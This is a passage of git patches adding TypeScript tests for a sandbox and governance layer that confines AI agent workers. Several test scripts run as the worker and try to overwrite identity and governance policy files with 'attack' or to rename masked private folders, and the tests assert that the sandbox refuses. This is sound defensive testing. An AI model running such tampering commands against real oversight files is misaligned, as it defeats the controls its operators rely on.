policy: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-rtk-zombie-"),repo=join(import.meta.dir,".."); + try{ + const file=join(root,"proof.ts"); + writeFileSync(file,` +import {spyOn} from "bun:test";import * as fs from "node:fs"; +import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; +import {recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk,nativeRtkProcessEvidence} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; +import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; +await enterMeasurementRtkView(); +const mode=${JSON.stringify(mode)},python=fs.realpathSync("/usr/bin/python3"); +const source='import ctypes,subprocess,sys,json,os\\nctypes.CDLL(None).prctl(4,0,0,0,0)\\nchildren=[subprocess.Popen([sys.executable,"-I","-S","-c","import time;time.sleep(30)"]) for _ in range(2)]\\nzombie=subprocess.Popen([sys.executable,"-I","-S","-c","pass"])\\nos.waitid(os.P_PID,zombie.pid,os.WEXITED|os.WNOWAIT)\\nprint(json.dumps({"live":[p.pid for p in children],"zombie":zombie.pid}),flush=True)\\nsys.stdin.readline()\\nfor p in children: p.terminate();p.wait()\\nzombie.wait()'; +const env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; +const child=Bun.spawn([python,"-I","-S","-c",source],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});recordNativeGuardChild(child); +let spy; +try{ + const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock();const {live,zombie}=JSON.parse(new TextDecoder().decode(ready.value)); + if(nativeRtkProcessEvidence(zombie).processState!=="zombie")throw Error("REAL_KERNEL_ZOMBIE_REQUIRED"); + const start=pid=>fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19]; + const pairs=mode==="zombie-live"?[[zombie,start(zombie)],[live[0],start(live[0])]]:mode==="zombie-only"?[[zombie,start(zombie)]]:mode==="zombie-start-mismatch"?[[zombie,"wrong-start"]]:mode==="two-live"?live.map(pid=>[pid,start(pid)]):[[live[0],start(live[0])]]; + const audited=new Map(pairs),launch={env,brainPath:"/tmp"},worker={pid:child.pid,exited:child.exited};observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>audited); + if(mode.startsWith("live-")){const real=fs.realpathSync;spy=spyOn(fs,"realpathSync").mockImplementation((path,...args)=>{if(path==='/proc/'+live[0]+'/exe')throw Object.assign(Error("fixture exe access refused"),{code:mode.slice(5)});return real(path,...args);});} + if(mode==="unknown-state"||mode==="state-EACCES"){ + const real=fs.readFileSync;let reads=0;spy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{ + if(path==='/proc/'+live[0]+'/stat'&&++reads>=2){if(mode==="state-EACCES")throw Object.assign(Error("fixture state access refused"),{code:"EACCES"});return real(path,...args).replace(/^(.*\\) )(.*)$/s,(_,prefix,rest)=>{const fields=rest.split(' ');fields[0]='?';return prefix+fields.join(' ');});}return real(path,...args); + }); + } + let failure;try{registerNativeFixtureRtk(worker);}catch(error){failure=error;} + const expected={"zombie-only":"native fixture RTK payload missing","zombie-start-mismatch":"native fixture RTK audited identity changed","two-live":"native fixture RTK payload ambiguous","unknown-state":"native fixture RTK worker identity unavailable","state-EACCES":"native fixture RTK worker identity unavailable","live-ENOENT":"native fixture RTK executable unavailable","live-EACCES":"native fixture RTK executable unavailable"}; + if(mode==="zombie-live"){ + if(failure)throw Error("ZOMBIE_AND_ONE_LIVE_CANDIDATE_MUST_REGISTER: "+failure.message); + const rewritten=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original");if(rewritten!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("ZOMBIE_FILTER_PRESERVES_REAL_RTK_REWRITE"); + }else if(failure?.message!==expected[mode])throw Error("ZOMBIE_POLICY_REFUSES_UNCERTAIN_OR_AMBIGUOUS_CANDIDATE:"+mode+":"+failure?.message); + console.log("RTK_ZOMBIE_POLICY:"+mode); +}finally{spy?.mockRestore();child.stdin.end();await child.exited;} +`); + const child=Bun.spawn([process.execPath,file],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"RTK_ZOMBIE_POLICY "+mode+" "+err).toBe(0);expect(out).toContain("RTK_ZOMBIE_POLICY:"+mode); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/worker-effect-witness.test.ts b/tests/worker-effect-witness.test.ts index 8fb32f8c9d..26f0809ad5 100644 --- a/tests/worker-effect-witness.test.ts +++ b/tests/worker-effect-witness.test.ts @@ -11,9 +11,9 @@ test("worker effect witness records through the registered scripted service path const witness=createWorkerEffectWitness({marker}),model=scriptedModel();model.plan(null,witness); const relay=startNativeTestRelay(model.url); try{ - const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://localhost",BRAIN_TEST_EFFECT_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); + const child=Bun.spawn(["/bin/sh","-c",witness.command],{env:{PATH:"/usr/bin:/bin",ANTHROPIC_BASE_URL:"http://127.0.0.1:43123",BRAIN_TEST_EFFECT_SOCKET:join(relay.directory,"relay.sock")},stdout:"pipe",stderr:"pipe"}); const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(code,errors).toBe(0);expect(witness.effects.marker,"EFFECT_RECORDED_ON_SCRIPTED_SERVICE").toBe(true); + expect(code,errors).toBe(0);expect(witness.effects.marker,"EFFECT_RECORDED_INDEPENDENT_OF_FORWARDER_BASE_URL").toBe(true); const source=readFileSync(join(import.meta.dir,"../scripts/measure-claude-delegation.ts"),"utf8"); expect(source).toContain("pathname===witness.path)return witness.fetch(req)"); }finally{relay.dispose();model.stop();rmSync(root,{recursive:true,force:true});} From c678ca706738866193d45b8ebfa59ef64ba2926a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 21:23:31 +0000 Subject: [PATCH 090/187] Keep identity audit exports distinct and prove recorder version argv --- .../tests/fixtures/ordinary-identity-root.ts | 2 +- tests/native-boundary-retention.test.ts | 19 +++++++++++++++++++ tests/native-recording-wrapper.test.ts | 10 ++++++---- 3 files changed, 26 insertions(+), 5 deletions(-) diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 1deea4e749..cd96781ceb 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -224,7 +224,7 @@ if (process.argv[2] === "--index-child") { const auditRoot = phase === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-(?:startup-audit|boundary-failure)-[0-9]+(?:-[0-9]+)?\.json$/.test(name))) { // The guard already bounded/scrubbed this snapshot before raw audit cleanup. - writePrivateProofArtifact("/proof", name, readFileSync(join(auditRoot, name))); + writePrivateProofArtifact("/proof", `${phase}-${name}`, readFileSync(join(auditRoot, name))); } } const output = capturedOutput.text, errors = capturedErrors.text; diff --git a/tests/native-boundary-retention.test.ts b/tests/native-boundary-retention.test.ts index 64be6132ab..b544600968 100644 --- a/tests/native-boundary-retention.test.ts +++ b/tests/native-boundary-retention.test.ts @@ -3,6 +3,7 @@ import {mkdtempSync,readFileSync,readdirSync,lstatSync,rmSync} from "node:fs"; import {join} from "node:path"; import ts from "typescript"; import {nativeRetainedBoundaryRecord} from "../scripts/test-native-guard"; +import {writePrivateProofArtifact} from "../packages/ui-sdk/tests/fixtures/private-proof-artifact"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const rootRepo=join(import.meta.dir,".."); @@ -47,3 +48,21 @@ test("strict identity enables and exports retained admission and exec evidence", expect(Function("phase","return ("+directory+")")("strict")).toBe("/identity-server-private/server-ws-strict"); expect(root.text,"BOUNDARY_SNAPSHOTS_ARE_EXPORTED_WITH_AUDITS").toContain("startup-audit|boundary-failure"); }); + + +test("fresh and strict audits with the same inode both export without collision",()=>{ + const root=mkdtempSync("/tmp/odysseus-phase-audits-"); + try{ + const source=ts.createSourceFile("root.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"),"utf8"),ts.ScriptTarget.Latest,true); + let call="";function visit(node:ts.Node):void{if(ts.isCallExpression(node)&&node.expression.getText(source)==="writePrivateProofArtifact"&&node.arguments[2]?.getText(source).includes("auditRoot"))call=node.getText(source);ts.forEachChild(node,visit);}visit(source); + expect(call,"REAL_IDENTITY_AUDIT_EXPORT_CALL_FOUND").not.toBe(""); + const run=Function("phase","name","auditRoot","readFileSync","join","writePrivateProofArtifact",call); + const failures:string[]=[]; + for(const phase of ["fresh","strict"]){ + try{run(phase,"native-startup-audit-42.json","/captured",()=>JSON.stringify({phase}),join,(_root:string,name:string,data:string)=>writePrivateProofArtifact(root,name,data));}catch(error){failures.push(`${phase}:${(error as NodeJS.ErrnoException).code}`);} + } + expect(failures,"PHASES_WITH_REUSED_INODE_EXPORT_WITHOUT_EEXIST").toEqual([]); + expect(readdirSync(root).sort(),"PHASES_WITH_REUSED_INODE_BOTH_EXPORT").toEqual(["fresh-native-startup-audit-42.json","strict-native-startup-audit-42.json"]); + for(const phase of ["fresh","strict"]){const file=join(root,`${phase}-native-startup-audit-42.json`);expect(JSON.parse(readFileSync(file,"utf8"))).toEqual({phase});expect(lstatSync(file).mode&0o777).toBe(0o600);} + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-recording-wrapper.test.ts b/tests/native-recording-wrapper.test.ts index 022c31d1a6..df5d9aa115 100644 --- a/tests/native-recording-wrapper.test.ts +++ b/tests/native-recording-wrapper.test.ts @@ -17,10 +17,12 @@ test("actual recording wrapper posts selected argv then execs only version with const fn=ast.statements.find(n=>ts.isFunctionDeclaration(n)&&n.name?.text==="recordingWrapper")!; const js=ts.transpile(fn.getText(ast),{target:ts.ScriptTarget.ESNext}); const create=Function("nativeFixtureDirectory","scratch","join","writeFileSync","chmodSync","fixtureServicePost","fixtureShellQuote","process","wrapperCommands",js+";return recordingWrapper;")(()=>root,[],join,writeFileSync,chmodSync,fixtureServicePost,fixtureShellQuote,process,commands); - const {wrapper}=create(),info=statSync(socket,{bigint:true}); - const child=Bun.spawn([compileSocketPolicy(),"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",wrapper,"/usr/bin/true"],{env:{PATH:"/usr/bin:/bin",BRAIN_TEST_EFFECT_SOCKET:socket,ANTHROPIC_BASE_URL:"http://127.0.0.1:43123"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); - const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(commands,"RECORDING_WRAPPER_SHARED_CHANNEL").toEqual(["/usr/bin/true"]); + const {wrapper}=create(),info=statSync(socket,{bigint:true}),payload=join(root,"argv-payload"); + writeFileSync(payload,'#!/usr/bin/python3\nimport json,sys\nprint(json.dumps(sys.argv[1:]))\n');chmodSync(payload,0o755); + const child=Bun.spawn([compileSocketPolicy(),"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",wrapper,payload],{env:{PATH:"/usr/bin:/bin",BRAIN_TEST_EFFECT_SOCKET:socket,ANTHROPIC_BASE_URL:"http://127.0.0.1:43123"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + const [code,errors,output]=await Promise.all([child.exited,new Response(child.stderr).text(),new Response(child.stdout).text()]); + expect(commands,"RECORDING_WRAPPER_SHARED_CHANNEL").toEqual([payload]); + expect(JSON.parse(output),"RECORDED_RUNTIME_RECEIVES_ONLY_VERSION_ARGV").toEqual(["--version"]); expect(code,"RECORDED_RUNTIME_EXEC_VERSION "+errors).toBe(0); expect(inference,"RECORDING_WRAPPER_ZERO_INFERENCE").toBe(0); }finally{relay.dispose();server.stop(true);rmSync(root,{recursive:true,force:true});} From 08c9be52485a68fa297a9ec6aa1e454ca0531217 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 22:00:09 +0000 Subject: [PATCH 091/187] Admit held strict fixture inputs and diagnose RTK projection --- .../tests/fixtures/ordinary-identity-ws.ts | 18 +++- .../ui-server/tests/governance-policy.test.ts | 51 +++++---- scripts/measure-claude-enforcement.ts | 2 +- scripts/measurement-worker-fixture.ts | 4 +- scripts/native-rtk-diagnostics.ts | 39 +++++++ scripts/test-native-guard.ts | 100 ++++++++++++++---- tests/native-rtk-diagnostics.test.ts | 20 +++- tests/native-strict-admission.test.ts | 94 ++++++++++++++++ 8 files changed, 279 insertions(+), 49 deletions(-) create mode 100644 tests/native-strict-admission.test.ts diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index f9f1f626e9..4946e2d999 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,3 +1,4 @@ +import {nativeFixtureTurnDataTree,registerNativeFixtureManagedKeeper} from "../../../../scripts/test-native-guard.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { captureNativeReceipts } from "../../../../scripts/native-test-receipts.ts"; import "../../../../scripts/test-network-child-preload.ts"; @@ -6,7 +7,9 @@ import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; import { installBootPruneCapture } from "./boot-prune-capture.js"; /** Real managed-server admission and native SDK turn; explicit fictional API profile. */ -import { expect } from "bun:test"; +import { expect,spyOn } from "bun:test"; +import {AsyncLocalStorage} from "node:async_hooks"; +import * as nativeOutput from "../../src/server/worker-native-output.js"; import { lstatSync, mkdirSync, statSync, readdirSync, readFileSync, existsSync } from "node:fs"; import { dirname, join } from "node:path"; import { createApp } from "../../../ui-server/src/app.js"; @@ -84,9 +87,16 @@ const backend = createClaudeBackend({ brainPath: brain, queryFn: nativeScriptedQ requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }) }], log() {} }); +const turnKeeperRegistrations=new AsyncLocalStoragevoid>>(); +const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; +spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(brain,options)=>{ + const output=await prepareNativeOutput(brain,options),registrations=turnKeeperRegistrations.getStore(); + if(registrations)try{registrations.add(registerNativeFixtureManagedKeeper(output.output.storage,options.startupView));}catch(error){await output.cleanup();throw error;} + return output; +}); const backendProfiles: Array = []; const admissionReads: Array[0]["bridge"]["admissionSafety"]>["read"]>> = []; -const observedBackend = { ...backend, startTurn(request: Parameters[0]) { +const observedBackend = { ...backend, async startTurn(request: Parameters[0]) { nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home] }); backendProfiles.push(request.workerSandbox?.profile); // Observe the real host gate synchronously, returning each original read @@ -108,7 +118,9 @@ const observedBackend = { ...backend, startTurn(request: Parametersvoid>(); + try{return await turnKeeperRegistrations.run(registrations,()=>backend.startTurn(request));}finally{for(const release of registrations)release();leave?.();} } }; const observability = createRecordingObservability(), secret = "odysseus-fixture-cookie-secret-0123456789"; let app: Awaited> | undefined; diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index 16c67e4123..e77bfd773c 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -30,6 +30,20 @@ import { makeFakeBackend } from "./helpers/fake-backend"; import { testAuthorization } from "./helpers/principal"; const cleanup: Array<() => void> = []; +/** Explicit non-native runtime file; retain the literal shell bytes under test. */ +function fixtureShellCommand(script:string):string[]{ + const root=mkdtempSync(join(tmpdir(),"odysseus-governance-command-"));cleanup.push(()=>rmSync(root,{recursive:true,force:true})); + const file=join(root,"worker.sh");writeFileSync(file,`#!/bin/sh\n${script}\n`,{mode:0o755});return [file]; +} + +test("literal governance shell declaration reaches the real guarded worker",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-governance-declaration-"));cleanup.push(()=>rmSync(root,{recursive:true,force:true}));writeFileSync(join(root,"harbor.md"),"Odysseus"); + const child=launchAgentWorker({brainPath:root,sandbox:prepareWorkerSandbox(root,{profile:"governed",areas:[]}),env:{PATH:"/usr/bin:/bin"},command:fixtureShellCommand('if [ -f harbor.md ]; then printf GOVERNANCE_LITERAL_SCRIPT; else exit 31; fi')});child.stdin.end(); + const collect=async(stream:NodeJS.ReadableStream)=>{let text="";for await(const chunk of stream as AsyncIterable)text+=String(chunk);return text;}; + const [code,out,err]=await Promise.all([child.exited,collect(child.stdout),collect(child.stderr)]); + expect(code,"EXPLICIT_GOVERNANCE_SCRIPT_REACHES_WORKER "+err).toBe(0);expect(out).toBe("GOVERNANCE_LITERAL_SCRIPT"); +}); + /** A worker commit held for `ms`, queued at once, as a slow fsync would. */ function slowCommit(writer: import("../src/db/write-worker").SqliteWriter, ms: number) { const channel = writer.channel(probe, { table: "odysseus_log" }); @@ -69,8 +83,7 @@ test.each(["interactive", "voice"] as const)("%s policy selection enters an actu const hold = await f.turns.begin(`turn-${origin}`, new AbortController().signal, origin); try { expect(hold.sandbox.profile, "POLICY_ACTUAL_STRICT_ADMISSION").toBe("strict"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: ["/bin/sh", "-c", - 'if printf attack > harbor.md; then exit 41; fi; printf STRICT_POLICY_WRITE_REFUSED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: fixtureShellCommand('if printf attack > harbor.md; then exit 41; fi; printf STRICT_POLICY_WRITE_REFUSED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("STRICT_POLICY_WRITE_REFUSED"); expect(readFileSync(join(f.brain, "harbor.md"), "utf8")).toBe("Odysseus arrives.\n"); @@ -109,8 +122,7 @@ test("policy additions and exact tier B release reach real governed mounts and m const hold = await f.turns.begin("governed-protection", new AbortController().signal); try { expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: ["/bin/sh", "-c", - 'if printf attack > me/identity.md; then exit 41; fi; printf released > .claude/settings.json || exit 42; if printf attack > context/policies/governance.md; then exit 43; fi; printf POLICY_PROTECTION_APPLIED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: fixtureShellCommand('if printf attack > me/identity.md; then exit 41; fi; printf released > .claude/settings.json || exit 42; if printf attack > context/policies/governance.md; then exit 43; fi; printf POLICY_PROTECTION_APPLIED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("POLICY_PROTECTION_APPLIED"); expect(readFileSync(join(f.brain, "me/identity.md"), "utf8")).toBe("Odysseus.\n"); expect(readFileSync(join(f.brain, ".claude/settings.json"), "utf8")).toBe("released"); @@ -130,8 +142,7 @@ test.each(["interactive", "voice", "dictation", "live"] as const)("real session let actualProfile: string | undefined; const backend = makeFakeBackend({ id: "claude", startTurn: async request => { actualProfile = request.workerSandbox?.profile; - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: request.workerStartupView, sandbox: request.workerSandbox, env: {}, command: ["/bin/sh", "-c", - 'if printf fixture > harbor.md; then printf writable; else printf readonly; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: request.workerStartupView, sandbox: request.workerSandbox, env: {}, command: fixtureShellCommand('if printf fixture > harbor.md; then printf writable; else printf readonly; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, child.stderr.toString()).toBe(0); expect(child.stdout.toString(), "POLICY_ROUTED_ORIGIN_RUNTIME").toBe(origin === "voice" ? "readonly" : "writable"); request.bridge.emit({ type: "session_info", sessionId: `session-${origin}`, isNew: true }); @@ -159,7 +170,7 @@ test("confirmed session preference tightens the next actual worker without chang try { expect(strict.sandbox.profile, "SESSION_PROFILE_NEXT_ADMISSION").toBe("strict"); expect(active.sandbox.profile, "SESSION_PROFILE_RUNNING_UNCHANGED").toBe("governed"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, env: {}, command: ["/bin/sh", "-c", 'if printf attack > harbor.md; then exit 41; fi; printf STRICT_SESSION_WRITE_REFUSED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, env: {}, command: fixtureShellCommand('if printf attack > harbor.md; then exit 41; fi; printf STRICT_SESSION_WRITE_REFUSED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("STRICT_SESSION_WRITE_REFUSED"); } finally { await strict.end(); await active.end(); } @@ -305,13 +316,13 @@ test("admitted literal provider folders reach real governed mounts and stay mask try { expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); expect(hold.sandbox.retainedFolders).toEqual([".brain-cache", ".brain-index", "group/private"]); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", ` + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand(` if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi if mv group group-moved 2>/dev/null; then echo ANCESTOR_RENAMED; exit 42; fi if printf Athena > group/private/new.md 2>/dev/null; then echo MASKED_FOLDER_WRITTEN; exit 43; fi printf Odysseus > group/public.md || exit 44 cat group/private/identity.md 2>/dev/null || printf MASKED - `] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + `) }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `ADMITTED_PROVIDER_FOLDER_PLAN_REACHES_NATIVE_MOUNTS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); // Retention alone authorizes nothing; with no proven recipient (#1665) the folder is masked (#1668). expect(child.stdout.toString(), "UNPROVEN_RECIPIENT_SEES_PROVIDER_FOLDER_MASKED").toBe("MASKED"); @@ -328,14 +339,12 @@ test("an invalid admission retains provider folders from the turn reader's last- const hold = await f.turns.begin("last-valid-provider-folder", new AbortController().signal); try { expect(hold.policy.source).toBe("last_valid"); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - 'if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand('if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `LAST_VALID_ADMITTED_POLICY_REACHES_NATIVE_FOLDER_PINS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); const peer = await f.execution.gate()!.acquire("shared", "turn:athena-inherits-last-valid-plan"); try { const sandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: peer.folderPaths }); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - 'if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand('if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `LAST_VALID_FOLDER_PLAN_REACHES_NEW_PEER_NATIVE_PINS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); } finally { peer.release(); } @@ -348,8 +357,7 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p writeFileSync(join(f.brain, "group/private/initial.md"), "Athena"); const prior = await f.execution.gate()!.acquire("shared", "turn:before-provider-folders"); const oldSandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: prior.folderPaths }); - const old = launchAgentWorker({ brainPath: f.brain, sandbox: oldSandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - "printf ready > old-ready.md; IFS= read -r go || exit 43; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md"] }); + const old = launchAgentWorker({ brainPath: f.brain, sandbox: oldSandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > old-ready.md; IFS= read -r go || exit 43; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md") }); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } async function ready(path: string) { const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(f.brain, path))) { if (Date.now() >= deadline) throw Error(`Native peer readiness timed out: ${path}`); await Bun.sleep(5); } } const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); @@ -371,15 +379,14 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p try { expect(strict.sandbox.profile).toBe("strict"); const child = launchAgentWorker({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, - env: {}, command: ["/bin/sh", "-c", "cat group/private/initial.md 2>/dev/null || printf MASKED"] }); + env: {}, command: fixtureShellCommand("cat group/private/initial.md 2>/dev/null || printf MASKED") }); child.stdin.end(); const [exit, out, err] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); expect(exit, err).toBe(0); expect(out, "STRICT_TURN_MASKS_PROVIDER_FOLDER_WITHOUT_A_PROVEN_RECIPIENT").toBe("MASKED"); } finally { await strict.end(); } } if (admitted) { - next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); + next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED") }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); } @@ -406,8 +413,7 @@ test("a live peer retaining a descendant permits shared admission of its pinned f.write("providers: [{ paths: [group/private/deeper/**], allow: [anthropic] }]"); const prior = await f.execution.gate()!.acquire("shared", "turn:retained-descendant"); const sandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: prior.folderPaths }); - const old = launchAgentWorker({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - "printf ready > older-ready.md; IFS= read -r go || exit 43; if mv group/private group/moved 2>/dev/null; then exit 41; fi; printf Athena > group/private/deeper/older.md"] }); + const old = launchAgentWorker({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > older-ready.md; IFS= read -r go || exit 43; if mv group/private group/moved 2>/dev/null; then exit 41; fi; printf Athena > group/private/deeper/older.md") }); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); let hold: Awaited> | undefined; @@ -417,8 +423,7 @@ test("a live peer retaining a descendant permits shared admission of its pinned f.write("providers: [{ paths: [group/private/**], allow: [anthropic] }]"); hold = await f.turns.begin("shared-pinned-ancestor", new AbortController().signal); expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); - const next = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", - "if mv group/private group/moved 2>/dev/null; then exit 